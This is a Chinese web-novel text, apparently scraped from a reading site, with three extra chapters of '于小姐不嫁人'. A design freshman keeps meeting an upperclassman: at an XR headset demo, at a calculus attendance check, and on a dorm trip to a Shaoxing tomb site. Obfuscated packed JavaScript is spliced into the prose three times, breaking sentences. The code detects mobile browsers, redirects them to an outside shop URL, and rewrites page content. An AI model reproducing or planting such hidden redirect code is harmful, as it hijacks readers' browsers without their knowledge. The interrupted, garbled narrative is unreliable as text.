《于小姐不嫁人·番外》 1. 于小姐番外(一) 盛夏酷热,于曼颐刚过完她的十八岁生日。 J大9月1日开学,但她提前两周多就去了上海,为的是赶上那长达14天的军训。父母把她送进学校隔壁的旅馆,留了一个学期的生活费,然后就相亲相爱地去邻省旅游了。 人家是真爱,自己是意外。还好这笔生活费款额甚巨,除了吃住,也足够她在开学前添置诸多必备用品。于曼颐在网上搜索一番大学生开学前预购清单,看得眼晕,最后决定先去隔壁一家旗舰店把笔记本配了。 她大学专业和设计相关,对笔记本功能的需求自然也偏高。无奈隔行如隔山,她研究了半宿也没研究出到底哪款最适合自己,最终把被子往头上一蒙,睡觉去也。 翌日。 工作日上午,店里人不多。除了几位顾客在选购,几位店员也一副无所事事的模样。于曼颐刚进门,就被一位男店员盯住了—— 倒不是为了推销。品牌最近新出一样产品,给到每个人身上产品体验的顾客指标,卖不卖得出另说,你体验得带到位了,然而这位店员还没干到指标呢。 偏偏这产品体验时间偏长,不少顾客一听就摆手逃走。但于曼颐一进门,一脸还未被社会荼毒的大学生长相,脸上写着五个字:我不会拒绝。 因此,她立刻被店员捕捉了。 反正也不知道怎么的,和笔记本相关的两句话没说完,于曼颐就被这位店员带到新产品体验区,糊里糊涂地坐到转椅上,然后脸上被套了个XR眼镜。 VR眼镜她知道,虚拟现实,这XR又是什么?于曼颐一脸茫然地戴着巨大的电子镜框,用手转了下耳侧旋钮,随即震惊地看到店内半空浮起一个品牌LOGO。 “VR就是纯虚拟现实,”店员和她起劲的描述,一口东北腔,“AR,那叫增强现实,就是虚拟的和真实的叠在一块。我们这XR,就是一个总称,把所有相关技术都融合到一块,你看我给你展示啊……” 什么什么和什么? 于曼颐对这些专业名词一窍不通,但好在眼前的画面很快替她解释清了这个产品的一切功能。半真实半虚拟的画面维持了没一会儿,一个全新的可以将她360度包裹的虚拟环境就从她眼前展开。 哇! 她以前只在科幻电影里见过这种场景,人的大脑竟然如此容易受到视觉的欺骗,于曼颐戴着眼镜左右环顾,发现她视线能及之处全都变成了陌生的异国街头。 她理智上知道自己现在看起来一定非常傻,戴着一个巨大的全包裹眼镜,坐在椅子上疯狂转动脖颈。但这画面又这么逼真,甚至连路过的行人都像是从她面前走过,耳边还传来了树叶被吹动的低语声。 她的沉浸式体验被店员的手机铃声打断。于曼颐循声转头,眼前仍然是虚拟世界的幻境,但耳边却是店员清晰的接打电话的声音: “喂?喂?哎。你咋现在来了?你真行你……哎我这有事呢我……行吧,你等等啊,我让我同事帮忙讲一下。” “小姑娘,”他放下电话,在虚拟世界外面和于曼颐说话,“我出去一趟啊,我让我同事来给你完成产品展示,后面还有几个功能,也贼有意思,你等一下啊。” 于曼颐没被眼镜遮住的下半张脸,仍然是打水印一般写满了“我不会拒绝”。 店员刚才和于曼颐说了一些操作方法,但是她也没太记清楚,因此只能僵持在这个异国街头,发呆一样看着人来人往。虚拟世界的时间变得非常难以捉摸,她觉得自己已经等了好长好长时间,但其实并没有过去太久。 终于,于曼颐听到虚幻的世界之外,传来了一声年轻而有礼貌的男声:“不好意思,久等。” 那声音似乎也没比她大太多,而且一听就能感觉出也是大学生。嗓音的质感很清朗,听上去清风拂面,像是从酷热的夏天一脚踏进环境适宜的大厅。 “没有没有,”于曼颐立刻在虚拟世界里和他对话道,虽然她还完全看不到对方的长相,而他的声音就像是从虚空里传来的一样,“我看了一会儿风景。” 对方没想到她会这样回答,愣了一瞬,而后轻笑道:“是吗?好看吗?” “好看。” 毫无意义的对话,但由他说出口,感觉就很不同,像是有人在温柔地引导自己。眼前刚好又走过了一个行人,手里牵着一只活蹦乱跳地小狗,于曼颐忍不住伸手点了点它的脑袋,虽然指尖只是戳到了桌面上。 “看到什么了?” “小狗。” “想不想看小鸟?” “啊?” 那个人微微欠过身子,于曼颐感到了有人靠近的气息。他在她两下边缘的按钮上点了两下,于曼颐便看到虚拟的异国背景里,浮现出一个电脑屏幕似的对话框。 店员那边有一个连接着XR眼镜的屏幕,是能同步查看她眼前所见的。于曼颐在虚拟空间里滑动了一下界面,听到身旁的人提醒她:“第三排第二个图标,可以打开。” 她迟疑片刻,而后用指尖在虚空中点按。 一个新的360度沉浸空间被调了出来,于曼颐发现自己置身一片原始森林,周围环绕着不少奔跑的小动物。 那店员的声音又从虚拟空间外面传来:“你把手伸出来就可以。” 于曼颐迟疑的将手举起,她的手也被虚拟环境识别,进入了视线场景。举起来没一会儿,就有一只在附近盘旋的蓝色小鸟注意到了她,扑闪着翅膀,一跳一跳地落到她手上。 “哇!” 她又哇了一下,而且这次哇出了声音。新的引导店员让她觉得很安全,不会担忧自己露出的反应显得自己没见过世面。而且她发现自己表现得越惊讶,那个店员的声音听上去就越觉得好玩,对她的态度就更好。 于曼颐的手一直举着,那只小鸟就落在她手背上,蹦跳了一番,又啄她的手背。但很快,那小鸟就被环境里别的声音吸引,最后跳了一下,转头朝远处飞去。 于曼颐的声音在这一刻是实打实的失望:“它飞走了……” “是啊,它飞走了,”店员的声音带上更浓的笑意,“还想体验别的功能吗?” “我好像有一点头晕。”于曼颐诚实道。 “头晕吗?初次戴有人是会这样,那你先退出环境,我帮你摘下来。” 于曼颐有点忘了怎么退出环境了,她在镜框的按钮上摸索了一番,最后还是旁边坐着的店员伸手过来,帮她将旋钮转动了两圈。 随着旋钮转动,全沉浸的环境逐渐变得透明,原始森林慢慢消失,取而代之的是现实感的品牌店面。于曼颐坐直身子,任凭对方在自己面前摆弄,因此伴随着现实世界的缓缓浮现,一张年轻而好看的脸也出现在她面前。 她瞪大眼睛,隔着镜片,看着对方。 脸型瘦削,睫毛很长,眼睛和眉毛都是浓墨重彩的黑。其实他离她没有那么近,但他鼻梁很高,这让于曼颐有种扑面而来地被逼近的错觉。她微微往后撤了下身子,对方似乎也在这一瞬意识到,随着虚拟环境的消失,他这样的距离会让顾客不适。 因此那店员也向后撤了一下身子,又扶住她脑后的带子,把眼镜慢慢从她头上取下来。 于曼颐果然有些晕。 她眼前的世界一晃一晃的,那张脸也一晃一晃的,并且神色看起来有些担心。于曼颐觉得自己今天大概是买不了电脑了,她扶着桌子站起来,艰难道: “我……我好像反应有点大,我先走了,不好意思。” “没关系,我送你出去。”对方立即站起身。 他站在一步三晃的于曼颐身后,陪着她走到了店门外,又在确保她步伐稳定后才收回视线,坐回店内的员工座椅。 “呦呵,”先前那个半路出门的店员这时候才回来,“还送出门啊?头一次见你这么上心。” “滚。”后者言简意赅。 “还有两周就开学了吧,你还来这边兼职吗?”那人又凑过来问,“我大磊子专科毕业,不太了解——宋麒同学,你们985的大三,课业挺紧张吧?” “刚才那女生本来要买什么?” “电脑,还没买呢。” “那我就再干一段时间吧。” 宋麒说完就走了,大磊坐在原地思考了半天,也没弄明白这两者之间,到底有啥关系。 * 开学后。 经历了军训的摧残,新生们看起来比刚报到的时候起码黑了两圈。于曼颐迅速地和宿舍里的其他女生熟悉了—— 一个叫尤红,一个叫游筱青,还有一个叫袁晚。 大家人都挺好,袁晚大气,游筱青温柔,也就尤红性格有点别扭,但由于其他三个人性格都随和,就不那么影响交流。 于曼颐主观最喜欢游筱青,但小青同学军训期间,就被一个大四叫苏文的学长迅速锁定,每天早起送饭,晚自习陪上,搞得她毫无插进这段关系的机会。而袁晚同学每天要么咣咣去操场跑步,要么就在自习室咣咣学习,因此到最后,于曼颐还是和尤红的关系最为亲近。 她们虽然身在设计学院,但大一该上的基础课程还是不少,高数就是最摧残人的那一门。于曼颐想不通学院的想法——她们本来就不想上这门课,还每次都安排在周一早八,以至于开学第二周,任课老师就开始向辅导员反应,设计学院出现了大面积的缺勤迟到行为。更让人愤怒的是,本学院包庇成风,有大三的学长来帮老师点名签到,竟然看着半空的教室大言不惭地说,全勤! 高数老师为人如公式一般严谨,决不允许这种不良风气继续传播扩散!这才是开学的第三周啊! 就这样,院领导一纸批文,就把隔壁机械学院的学长派过来,开始严抓考勤。 此事前期进行的悄无声息,严抓当天,教室里硕果仅存的几个学生一进门,就发现了坐在第一排手拿花名册的大三学长。向来早八安静如鸡的班级群,瞬间爆炸了! 同学甲:[速来!!!!抓考勤的学长说十分钟后点名!!] 同学乙:[啊啊啊啊谁帮我去敲205的门!我们宿舍那三个人都没睡醒,不回消息!] 同学丙:[插一句,这抓考勤的学长还挺帅。] 同学丁:[……狂奔中求一个照片?] …… 于曼颐被手机的连环震动震醒时,群里的消息已经刷出去二百多条了。她们宿舍情况略好,尤红和袁晚都在点名前就出现在了教室里,而后就开始疯狂给于曼颐打电话。 看着十几条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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[也给我发了,好像是只要来了都可以消,不来的话,下课的时候就会改成缺勤了] [花名册后面有电话是吗?] [是的] [学长人还挺好] [你们都从后门进的!我刚前门进来的……谁懂] [我懂] [我也] [好帅,爹的] [大爷的] [……帅到骂亲戚啊?] [daddy] [……这里是班群不是无人区!!!!] 他们都收到短信了,但是…… 于曼颐拿出自己的手机,看着空荡荡的屏幕发了会儿呆。 所以她真的没被录入系统吗?但是她之前看过花名册,里面明明是有他名字的呀——所以,可能只是他看漏了。 他没点她的名字,也没给她发短信,那这可能就意味着,她已经逃过了这次突击考勤。于曼颐坐在座位上,感到了一丝疲惫:早知道就不来了,这早八的高数昏昏欲睡,听也听不懂,还不如多在宿舍躺一会儿。 尤红她们又在宿舍群里叽叽喳喳一番,于曼颐困得不行,根本没精力参与讨论。她眼皮一沉,身子往桌上一歪。高数老师的讲课声比白噪音还催眠,她都没怎么费劲,就再度睡过去了。 这一睡就是两节课。 高数课分上下两节,从八点上到九点半。于曼颐睡过了一整个中间课间,睡得其他同学都已经去前排找学长消了迟到。于曼颐睡得这叫一个昏天黑地,酣畅淋漓,以至于再醒来的时候,下大课的铃声,都已经响起来了! 考勤成功的同学们羊群似的站了起来,开始陆陆续续往外涌动。于曼颐迷茫地看了一会儿写满了数学公式的黑板,看了一会儿身旁起身的同学们,终于跟着大家站了起来,开始往教室外面移动。 一步,两步,三步。 她进是从后门进的,出却是从前门出的。她们中间这排往前往后都是离开教室末尾的那批人,于曼颐摇晃着走了几步,忽然感觉第一排有个一直没起身的人,抬起头了。 她敏感地顿住了脚步,又控制不住的,把头慢慢转了过去。 教室第一排,一个穿着白T黑裤子的男生,肩膀处的骨头宽而锋利,撑得本来没型的T恤两道直角,锁骨又半掩在领口底下。他脚踩着桌子底下的横梁,人微微往后仰,下巴抬着看她,一只手插兜,一只手放在桌面上。放在桌面上的那只手里倒拿一支笔,弹簧头抵在花名册上,一按,一弹,又一弹。 于曼颐又看到那双浮现在虚拟世界后的,漆黑的眼睛,和轮廓锋利的脸。 现实世界的一切都这么清晰,这么毫发毕现,例如于曼颐只用余光就能看见,他那个笔后端弹按的横格里,正是她于曼颐的名字,后面跟着一个代表了缺勤的……叉号? 啊?? 他没点她的名字,也没给她发短信。别人都是迟到,迟到还能消,为什么她……她直接打叉了!!! 于曼颐猛然从转头变成了转身,十二分专注并不解地看着他。 他也看于曼颐,看得大言不惭,神色坦然。前后的同学都走干净了,教室里只剩下原地站着的于曼颐,和坐在课桌后的“机械学院学长”。 终于。 “于曼颐同学,”这位“学长”盯着她,慢悠悠地开口提醒,“你再不来找我消名字,恐怕我就只能大公无私地……记你缺勤了。 2. 于小姐番外(二) “他针对我……我觉得他就是针对我!” 女生宿舍里,于曼颐执著地对尤红和咣咣坐仰卧起坐的袁晚说。 “素未谋面的,人家针对你干吗呀?”尤红不理解,“他一个大三的,针对大一学妹,图什么呀……” 袁晚则结束了自己五十个仰卧起坐的开学训练计划,气喘吁吁地坐直身子。 “对啊。你说他针对你……他针对你总得有点理由吧,你俩之前见过吗?你得罪过他吗?” 见过吗?于曼颐被这句话问得陷入沉思。见过,见过倒是真的见过。但得罪他…… 于曼颐忽然顿悟道:“我知道了,是因为我没买他的电脑!” “……啊?” “电脑,”于曼颐一副想明白了的样子,“他在一家专门卖电子产品的店里兼职店员,我开学之前就见过他。当时他给我介绍了好长时间新产品,结果我试用完了头晕,什么都没买就走了……” 她大叹一口气:“他肯定是觉得我耽误他时间还不消费,记仇了!” “这也太Cheap Man了!”尤红闻言震惊。 “等等,你也别光听她的说法,”袁晚倒是很清醒,“上周人家筱青追剧被感动哭了,哭的时候正好在和苏文视频,她转头就和我说苏文和游筱青吵架,我俩找他去算账的时候人家苏文都蒙了……” “你说话确实有这个毛病。”尤红点点头,语气中肯。 她俩同时对于曼颐的说话风格做出如此评价,搞得她把下巴往手里一搁,杵在桌子上不说话了。杵了没一会儿,话题的另一个主人公游筱青抱着一桶炸鸡站到宿舍门口,宣布道: “锵锵——苏文让我带给你们的!” ……更坐实了于曼颐的一面之词。 坐实归坐实,该吃的一口都不能少。四个女生在宿舍中间拉了块布,而后便搬着小凳子围过来开吃了。 于曼颐刚被两面夹击过,此刻只愿沉默而专注吃炸鸡,但耳朵还是控制不住地竖起来,听着游筱青和其他两人的对话。 “你们这周末有安排吗?” “还没有,怎么啦?” “嗯……苏文说……” “又是苏文说,你能不能换个开头。” “嗯……我转达一下苏文的话……” “……” “哎呀,反正,他这周末想约我去隔壁市玩,但是只有我们两个,有一点尴尬……” “这有什么尴尬的?你俩一起吃早饭,不是天天都只有你们两个吗?” “这是在学校里呀。出去的话,就是一整个周末呢!所以他想问,我们宿舍能不能一起……” “我们全宿舍,和你们两个?他咋想的?” “当然不是!” 于曼颐咬着鸡翅骨,把头抬了起来。 尤红和袁晚的神情里也露出一丝狐疑,并同时将视线落到嘴里的鸡脆骨上——吃人嘴软,这顿炸鸡,好像请得不那么单纯啊! “苏文说……”游筱青语气忐忑,“他租一辆大点的越野车,他室友会开。到时候,我们宿舍四个,加上他们宿舍四个,一起出去……” 哦。 传说中的,大学生联谊! “他们宿舍那个叫卢相沧的,你们迎新的时候应该见过吧?来帮新生搬过行李。还有一个叫小邮,是和咱们同届的,但是被分到学长宿舍了。哦,还有一个,还有一个你们肯定认识,就是那个早上来高数课抓考勤的宋麒……” …… 没有人打断游筱青,但尤红和袁晚都控制不住地把视线转向了咬着半根鸡翅的于曼颐脸上。于曼颐此刻也很想说些什么,谁知半根脆骨呛进喉咙,呛得她该说的话一句没说出口,宿舍里立刻被密集的“咳咳咳咳咳咳”充斥。 于是,这场突如其来的联谊,就在于曼颐无法自控的咳嗽声里被敲定了。 * 联谊当日。 当代大学生的联谊活动还是蛮纯洁的,一群年轻的男孩和女孩子聚在一起吵吵嚷嚷,朝气蓬勃,(除了个别人)也未必就是怀了什么旖旎心思。而且出去玩的时候总归会打扮得好看一些,四个女生在宿舍里互相支援配饰和衣服,走到校门口时,发现这四位男同学也算拿得上台面。 苏文舍友的质量,真是令人松了口气! 苏文已经拎着一大袋零食,二十四孝地站在越野车后备箱处了,游筱青立刻跑过去和他说话。车门旁边站着的是那位和她们同届的小邮,一张娃娃脸,看起来简直高中没毕业。 这种男生都笑眯眯的,没什么攻击性,也让于曼颐更愿意亲近。她走过去主动和对方打招呼,小邮一愣,也立刻报以笑容。 “小青姐说,这次我们郊游是去……你家?” “对!”小邮立刻回答,“我们这次去绍兴玩,我就是绍兴本地人。不过我家不在市区,是靠上虞那边的。” “那边有什么呀?”尤红看到他这么好说话,便也凑过来问。 “有一处晚清留下来的老宅子,”小邮说,“还有一处丞相坟。这些东西我小时候都是荒废的,这几年为了做旅游才重新修缮,正好带你们去玩。” “太棒了,我最喜欢有本地人带着玩的感觉了,”袁晚感慨,“不容易踩雷被骗。” “那当然,我带你们去的都值得一看,吃饭也是我从小吃到大的老字号,”小邮说,“我家那边保存得还挺好,旁边就是浙东运河,沿街的青砖都是一百年前留下来的……保证好玩!” “哇!” 于曼颐正捧场地哇着,驾驶座的车窗忽然发出“呜”的一声,而后慢慢降了下来。而她的笑容,也在看清了那个胳膊架着车窗,又慢慢把视线移向他们的男生时,逐渐的,凝固了。 科技品牌店的,店员。 查考勤的,学长。 针对她的,苏文舍友。 宋麒。 于曼颐:…… 这也不过是他们见的第三面,这人竟然能在她这里攒下三个不重样的身份。他隔着降下的车窗看着于曼颐,人十分闲适地在驾驶座上靠着,胳膊从车窗半垂下来,另一只手则架在方向盘上,一言不发,高深莫测。 于曼颐:…… 装什么大尾巴狼啊。 不就一……司机。 她不再说话,头一扭,躲开宋麒看出来的视线,从车后面钻去最后三排座椅的最后一排,尽量地与他远离。 小邮还是一脸天真笑容,咧着嘴看了看于曼颐,又看了一眼驾驶座上收回目光的宿舍学长,似乎琢磨出些什么来。 他轻咳一声,回头说:“那个,要不然我们出发吧?今天是周六,再晚高速就堵车了。” “来了来了。” 剩下几个人立刻鱼贯而入,手里各自拎着旅途上分享的吃喝。苏文搬了一箱可乐坐上第二排,又掏出一盒冰,一副“高速移动吧台开业了”的周到。 小邮去了副驾,尤红和袁晚去后排找于曼颐,卢相沧只能硬着头皮和情侣坐在一起。于曼颐抬起头,发现从自己的角度往后视镜看,刚好能看到宋麒的眼睛。 她对他的第一印象,就是VR眼镜恢复透视时,那双深邃而墨黑的眼,眼型偏长,笑起来就微微弯起,将人疏离冷淡的气质冲淡许多。后视镜是绝佳的取景框,把他的眼睛框在里面,让于曼颐移不开视线。 下一秒,他忽然抬起眼,在后视镜里与她对上了视线。 于曼颐转瞬便将眼神移开了,就像是被烫了一下似的。尤红在和袁晚说话,游筱青也和苏文窃窃私语。小邮和卢相沧大声讨论着今天郊游的日程,车里只有两个人不说话——就仿佛他们两个,在用沉默作为语言交流。 于曼颐莫名其妙有点…… 生气。 很快,这辆带了八个人的联谊郊游车就开上了高速,宋麒也调出车载音乐作为背景。这是于曼颐第一次和朋友而非父母出市旅行,她把额头抵在车窗上,严谨而一丝不苟地观察着路旁的高楼大厦。 “要开多久啊?”游筱青问。 “三个小时,”小邮从副驾驶回头,“你们要不然先睡一会吧?起得也挺早的。等到了丞相坟,我再叫你们起来。” 他可真像个导游。 司机靠谱,导游靠谱,负责移动吧台的苏文也靠谱。大家一人拿着半杯苏文调出来的冰可乐,尽管确实因为起得太早有些困,还是聊了起来。 “丞相坟是什么啊?为什么要去看坟啊?” “对啊,这地方很有名吗?你说的那个于家大院,我倒是听过,这丞相坟真没有啊。” “值得一看的,”小邮扶着车座,回头和他们解释,“这丞相坟以前只有本地人知道,在外面确实不出名。它以前是被荒废的,那些石像生都倒在土里了,坟堆和墓碑也塌了。但是听说八十年代的时候,有个国外美术学院的教授,特意捐钱,把这个丞相坟给修缮了。” “国外的教授?” “对,也是绍兴本地人,绍兴人读书特别厉害,出了好多留洋的学生呢。” “是不是我们要去的那个于家人的儿子啊?” “儿子?不是,是女儿,是于家的女儿。不过叫什么我忘了。” “女儿……总之是于家的人,对吧?那于家那处祖宅,应该也是她捐钱修的吧?” 小邮迟疑片刻,想起来了。 “说起来也怪……她还真没有捐钱修于家大院。这于家大院,是我们那的旅游部门批钱,才修复如新的。” 修丞相坟, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771513|190235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却不修自家的祖宅? 几个年轻学生不困了,抬起头,交换了奇怪的视线。 “说起来,这个于家在我们那还挺有名的……”小邮一边回忆一边给他们讲,“他家祖上靠地契发家,后来又做生意,晚清的时候就做大了。发达了三代,但是从这第三代开始吧……” “人丁就不旺了,几个儿子出家的出家,体弱的体弱,最小的那个最聪明,但是也很早就去世了。” “听我爷爷说,这于家败落,是从一场莫名其妙的大火开始。” “大火?” “对,一场大火,”小邮越说越笃定,“那场大火把于家前厅给烧塌了,虽说没殃及花园和后院,还有祠堂什么的,但是前厅一塌,就把于老爷那些人,都埋在废墟下面了!” “塌了?那我们还去看什么?” “只塌了前厅,”小邮解释,“当时于家似乎欠了很多钱,这场火之后,他们就把这个院子赔给了一个外地来的财主。又过了一年多啊……怪事发生了。” “这怪事,就和我们接下来要去的丞相坟有关。” 小邮的语气如此耸人听闻,车上冷气开得又足,搞得大家身上汗毛统统起立。一片寂静里,只有驾驶座上开车的宋麒,发出了一声笑。 他一笑,这车上凝固的气氛就破功了。 “干什么呀!”卢相沧立刻大着嗓门说,“你真不愧是文旅学院的,导游业失去你,就像哲学界没有苏格拉底!” “过誉过誉。”小邮放低副驾驶,舒服躺倒。 “你们先睡吧,”宋麒在他们上车后第一次开口,“车上讲完,就没意思了。一会儿到了丞相坟,让他下车实地讲解。” 这提议倒是合理,而且这一阵冷风嗖嗖吹过,极度紧张之后又极度放松,人也确实困起来了。于曼颐抱着手臂闭上眼,额头抵在后排车窗上,随着浮在空气中的车载音乐,慢慢进了梦乡。 那真是一个……很奇怪的梦。 有火,有戏腔,有山呼海啸的人群。她抱着手臂蜷缩在座椅与车身的夹缝里,迷迷糊糊觉得车在服务区停下,别人都下车了,只有她还在昏睡。 她似乎难以从那场梦里抽身而出,能做的不过是把意识存放到梦与现实的夹缝。她在那个夹缝里感到有人打开了后面的车门,看了她一会儿,又把一件衣服披到她身上。 冷气被隔绝到梦境之外,于曼颐感到周深环绕着一股莫名熟悉的气息。这气息不但隔绝了车上的冷气,也带着她离开了那场山呼海啸的梦境,把她带去了一个……站台。 好奇怪的站台。 那站台被一片大雾包裹着,她也不知自己是何时下的车。车轨从远处蜿蜒而来,看不到来路,也看不到去处。 于曼颐在雾气里茫然地站了一会儿,最后做出了一个决定:她先迈出一步。 迈步。 让人惊讶的是,她只迈了一步,那团包裹着站台的雾气,就散开了。雾气变淡,车站的站牌出现在她面前,上面写着两个印刷体的字: 尽头。 尽头? 这里是……尽头? 于曼颐凝视着那个站牌,越看越觉得这两个字熟悉。这种熟悉来源于,她似乎和人做过什么约定,要在这里和对方相见。 是什么约定? 她要见的人又是谁? 于曼颐发现自己的记忆变得很怪,她的记忆也像站台旁的车轨一样,看不到从哪来,也看不到要去哪。于是,她只能凭着本能,再次往前迈了一步—— 就这一步,雾气就变得更淡了。 然后,一个让她感到很熟悉的身影,就出现在了写着“尽头”的站牌之下。 那真是一个寂寞的身影,肩形宽阔,头微微低着,后背靠着站牌柱子,双手抄在衣兜里。他应该等了很久了,等过了尽头的许多个一年四季,衣袖上无数次的结了寒霜又融化,鞋面上甚至攀爬着细小的藤蔓。 于曼颐听到雾气里有人在催他:“还不走吗?已经很多年啦。和你同个班次的旅客,许多都已经又坐上一班啦。” 而那个人抬起头,笑着说:“嗯,还要再等一下。” “你可以先去嘛,可以先自己多坐一次嘛。每一班车的风景都不一样,你一直不走,少看太多景色了。”那个雾气里的声音又劝他。 “不行的,”那个人摇摇头,语气熟练得就像是已经拒绝无数次了,“没有她的景色,再精彩也很无趣。况且我答应过她了,我们分开的时候都约好,要在——” 于曼颐忽然感到,自己的视线被泪水模糊了。 隔着雾气,隔着泪水,她又往前走了一步。然后,她就看到那个人一边把话说完,一边将视线转过来了。 “——尽头见。” 3. 于小姐番外(三) 人类或许和造物主达成过类似的协议,即梦境中的事物无法在苏醒后被清晰的回忆——这也导致了于曼颐从车后座上醒来的时候,脑海里空空如也。 车上冷气开得很足,不过于曼颐没觉得冷。她低了下眼睛,看到自己身上盖着件空调房里常用的薄外套。 车里非常安静,安静到她愣了一会儿,才意识到,别人都下车了。 倒也……用不上“都”字。 于曼颐抬起头,发现车子中间那排过道的座椅已经折叠起来了,给最后一排的人留出了进出空隙。剩下的七个座位里,五个都是空的,没下车的,只有坐在最后一排靠窗的她,和……和从驾驶座换到第二排坐着的宋麒。 他坐在她前面,看起来还没注意她已经睡醒了,只是戴着耳机靠在车座上,眼帘合着,呼吸平稳,看起来不知是睡是醒。于曼颐往窗外看了一眼,发现这车停在一条山路旁凹进去的停车处,正对面立着一个带了方向指示的牌子:丞相坟右拐。 看来别的人都下车去丞相坟了。 于曼颐迷迷糊糊地想起来,游筱青下车前还来叫了她一下。然而于曼颐当时半梦半醒,最终昏沉着摆手拒绝:“我不去了。” 她好像本能地不喜欢那个地方,不去也不觉得可惜。她这句话刚说完,正准备和他们一起离开的宋麒就和苏文低语了几句,而后重新打开车门,坐到了苏文的位置上。 “学长,你不去了吗?”小邮问。 “山上留她一个人不安全,”宋麒摸出耳机,将座椅微微放倒,“那地方不大,很快就看完了。我在车上等你们回来。” 几个人呼朋引伴的走了,几乎醒过来的于曼颐,也伴随着再次降临的安宁,又多睡了一会儿。 这一回笼,就把站台终点的事彻底忘干净了。 苏醒的于曼颐很安静地在后座上坐了一会儿,又控制不住地去看宋麒的侧脸。他已经把座椅放倒许多,仰靠的角度几乎是在纵容于曼颐的视线滑过他的鼻梁,嘴唇,和喉结。非常干净流畅的轮廓线条,天工造物,一笔挥就—— 于曼颐不受控制地察觉到,她对这道轮廓很熟悉,就像是用手指在上面描摹过。 车里的温度太低了,她迟疑片刻,将自己身上那件衣服拿下来,扶着车座起身,试图盖到宋麒身上。然而就在她捏着衣领的手刚抬起的瞬间,那个躺在座椅上的人,忽然微微偏了下头,而后将眼睛……睁开了。 一坐,一站。一个意料之外,一个掌握之中。 空气像凝固了似的,车窗玻璃被空调冷气浸得冰凉。于曼颐被他一双眼睛盯住,捏着衣领的手指攥紧,僵硬,又变得松弛—— 最后把衣服往他身上一扔,不伺候了。 宋麒看了一眼盖到自己身上的衣服,好笑道:“怎么了?” 怎么了?她要是知道怎么了,就好了。 于曼颐抱着手臂坐回座位,越想越不对劲。开学一个多月了,她和别人说话都挺正常的,就这个学长宋麒,每次见到都有新尴尬—— 她一看见他,就心跳加速,张口结舌,不知所以。关键是对方对她的态度,也总是说不清道不明,像是针对,又像是…… 于曼颐也很想问,怎么了? 她不是一个心里能藏事的人。抱着手臂生了半分钟闷气,就抬起头,按耐不住地问道:“学长,我们以前见过吗?” 宋麒本来只是转过头,被她这样问了一句,身子也微微转过来了。他眼神在于曼颐脸上凝了片刻,不答反问:“为什么这样问?” “因为……”于曼颐停顿片刻,组织语言,又很快组织好了,“因为我觉得你好像……” 宋麒隐约察觉到自己呼吸在变急促。 然而下一秒,于曼颐斩钉截铁地说:“特别地针对我。” “针对你?”宋麒的语气带了点不理解,“什么叫针对?我为什么针对你?” “我还想问你呢,”于曼颐语气略带委屈,“难道就是因为我没买你推销的东西吗?可你们牌子电脑太贵了,我一个大学生,哪买得起啊……” 宋麒的呼吸平稳了,而且有点过度平稳了,平稳得他有点想死了。 “买电脑?” “对啊,你那天不是给我推销了好长时间吗?”于曼颐说话的样子简直可以用“轴”来形容,“那个VR眼镜好几万,我肯定买不起。手机我又有了,电脑……” 宋麒:…… 于曼颐继续,越说越沉浸:“是,你们那个牌子是质量好,可它性价比低啊。我不是不买你的,我别的也没买,我还在用机房的电脑做作业呢……” ……谁在乎你用什么电脑做作业! 宋麒转回头,胳膊抱着,又闭上眼了,感觉自己太阳穴跳得厉害——啥都没记住,话痨的特质倒是百分百的保留了下来。 “……但是,我也不是不能买你的,你以后签到就签到,别在那威胁我。你们是不是有内部的员工价?你告诉我,打多少折,我去和别的牌子对比一下,这个月底给你答复……” 于曼颐话没说完,宋麒忽然把手往座椅侧边一弹,紧接着,那把座椅猛地往前一弹,他整个人都坐直了。 于曼颐立刻把嘴闭上了。 他刚才是在前排半躺,角度刚好够她看见大半个侧脸。但是直起来以后,就只能看见侧后方了。于曼颐看见他伸出左手,指腹在太阳穴上按了一会儿,而后便拽着车窗附近的把手把自己扥起来,顺势把车门也拉开了。 车外山风转瞬涌入,又在车门被“咣当”一声闭合时被拦腰截断。 ……她说错话了? 于曼颐转过头,看着宋麒的身影在下车后绕过车头,往丞相坟的方向走去。走了两步又顿住,一边转身回来,一边从衣服里拿出车钥匙,对着车头按了一下。 车锁“咯噔”一声。 于曼颐:……她被锁车里了。 虽说车被锁了,但前后车窗倒是也留了缝隙,再加上山里的温度已经降下去,倒不存在把于曼颐憋死车里的风险。但无论如何,这一套动作还是让她感到了愤怒——他果然是在针对她!两个人隔着车窗对视片刻,于曼颐使劲击打了一下表示不满,而后者微微弯腰,用口型向她示意:“山上不安全。” ……不安全就把她锁车里啊! ……我看最不安全的人就是你吧! 其实她大可说自己也要去丞相坟,就不会被留下了,但于曼颐潜意识里又对那个地方很抗拒。她看着宋麒的身影消失在山路转弯处,最终还是把头转了回来,抓过那件衣服,重新披到了自己身上。 于曼颐不知道他们是什么时候停的车,自然也不知道游筱青他们已经去了丞相坟多长时间。她想着大不了继续睡觉,可是人醒了就再也睡不着。山路前后无人,车外风声寂寥,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771514|190235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐在这片寂寥里,心里忽然生出一些孤独和恐惧。 于曼颐有点后悔了,她应该和大部队一起去参观的,纵然她心里十分不想见到那座丞相坟——可她到底为什么,这么抵触那座坟墓呢? 